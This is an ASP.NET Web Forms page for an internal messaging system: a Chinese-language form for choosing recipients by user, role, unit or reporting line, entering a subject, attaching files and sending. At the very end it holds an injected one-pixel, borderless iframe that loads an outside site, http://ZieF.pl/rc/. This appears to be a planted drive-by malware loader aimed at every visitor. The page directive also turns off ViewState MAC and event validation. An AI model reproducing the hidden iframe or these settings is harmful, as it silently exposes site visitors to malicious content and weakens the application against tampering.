<%@ page language="C#" autoeventwireup="true" inherits="ims.web.msg, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<%@ Register Src="~/UserControls/FileUploader.ascx" TagName="Uploader" TagPrefix="ims" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="msg">
<head runat="server">
    <title>发送消息</title>
</head>
	<body>
		<form id="Form1" method="post" runat="server">
        <asp:ScriptManager ID="sm" runat="server">
            <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
        </asp:ScriptManager>
        <div id="mainArea">
		<table cellspacing="2">
            <tr><td class="tdTitle">发送给：</td>
                <td align="right">
                    <fieldset runat="server" id="mutiUser"><legend><input runat="server" id="rbAssigned" type="radio" name="range" checked="true" /><label for="rbAssigned">以下用户</label><input runat="server" id="rbAll" name="range" type="radio" /><label for="rbAll">所有用户中排除以下用户</label></legend>
                        <div id="exerArea">
                        <input type="checkbox" runat="server" id="cbUser" /><label for="cbUser">用户：</label><asp:TextBox runat="server" id="tbUsers" acfid="UserName" chars=";；,，、" ondblclick="showUserTree(this.id);" ToolTip="双击弹出用户选择窗口。多项之间以逗号、分号或顿号分隔" /><br />
                        <div id="divRole" class="hide"><input type="checkbox" runat="server" id="cbRole" /><label for="cbRole">角色：</label><asp:TextBox runat="server" id="tbRoles" acfid="RoleName" chars=";；,，、" ToolTip="多项之间以逗号、分号或顿号分隔" /></div>
                        <input type="checkbox" runat="server" id="cbUnit" /><label for="cbUnit">机构：</label><asp:TextBox runat="server" id="tbUnits" acfid="UnitNameWithID" chars=";；,，、" ondblclick="showUserTree(this.id,true);" ToolTip="双击弹出机构选择窗口。多项之间以逗号、分号或顿号分隔" /> <input runat="server" type="checkbox" id="cbRector" value="1" checked="checked" /><label for="cbRector">负责人</label> <input runat="server" type="checkbox" id="cbDirectly" value="2" /><label for="cbDirectly">直属成员</label> <input runat="server" type="checkbox" id="cbIndirect" value="4" /><label for="cbIndirect">非直属成员</label><br />
                        <div id="related" class="hide">
                            <input type="checkbox" runat="server" id="cbRel" /><label for="cbRel">我的：</label><input runat="server" type="checkbox" id="cbLateral" value="2" /><label for="cbLateral">平级</label> <input runat="server" type="checkbox" id="cbSuperior" value="4" /><label for="cbSuperior">上级</label> <input runat="server" type="checkbox" id="cbDirectUnderling" value="8" /><label for="cbDirectUnderling">直接下级</label> <input runat="server" type="checkbox" id="cbUnderling" value="16" /><label for="cbUnderling">所有下级</label>
                            <span runat="server" id="spanLevels"><input runat="server" type="checkbox" id="cbLevel" value="32" /><asp:DropDownList runat="server" ID="ddlLevels"></asp:DropDownList><span class="subItems">的： <input runat="server" type="checkbox" id="cbLevelRector" value="1" checked="checked" class="levelMember" /><label for="cbLevelRector">负责人</label> <input runat="server" type="checkbox" class="levelMember" id="cbLevelDirectly" value="2" /><label for="cbLevelDirectly">直属成员</label></span></span>
                            <img src="images/what.gif" title="相关说明" onclick="What('Colleague')" class="what" />
                        </div>
                        </div>
                    </fieldset>
                    <div class="right" runat="server" id="showMore"><span onclick="showAll();">更多</span></div>
                    <div id="exclude" runat="server" class="hide">排除： <input runat="server" type="checkbox" id="cbStarter" value="2" /><label for="cbStarter">本人</label></span><input runat="server" type="checkbox" id="cbFixed" value="4" /><label for="cbFixed">指定用户：</label><asp:TextBox runat="server" id="tbNoUsers" Width="390" acfid="UserName" ToolTip="双击弹出用户选择窗口。多项之间以逗号、分号或顿号分隔" chars=";；,，、" ondblclick="showUserTree(this.id);" /></div>
                    <asp:TextBox runat="server" ID="tbUser" acfid="UserName" Width="99%" ondblclick="showUserTree(this.id);" ToolTip="双击弹出用户选择窗口" />
                </td>
            </tr>
            <tr><td class="tdTitle">主　题：</td><td align="right"><asp:TextBox runat="server" ID="tbSubject" ToolTip="输入消息主题" Width="99%"></asp:TextBox></td></tr>
            <tr><td class="tdTitle">附　件：</td><td align="right"><div class="valArea"><ims:Uploader runat="server" ID="uploader" OnlyPhotos="false" LoadingID="loading" /></div></td></tr>
        </table>
        <asp:TextBox runat="server" ID="ckContent" TextMode="MultiLine"></asp:TextBox>

		<div class="footBtnArea">
            <asp:UpdatePanel ID="up" runat="server" RenderMode="Block">
            <ContentTemplate>
			    <asp:Button runat="server" ID="btnSend" Text="发送" OnClick="SendMsg" OnClientClick="return preSubmit();" CssClass="btn big" />
                <input type="button" onclick="return showHelp('editor');" value="帮助" class="btn" />
            </ContentTemplate>
            </asp:UpdatePanel>
		</div>
        </div>
        <div id="resultArea">
            <div id="resultMsg">发送成功！</div>
            <input type="button" class="btn big" id="btnContinue" value="继 续" onclick="toContinue();" />
            <input type="button" class="btn big" id="btnClose" value="关 闭" onclick="back();" />
        </div>
        <script src="js/comm.js"></script><script src="js/msg.js"></script>
		</form>
	<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
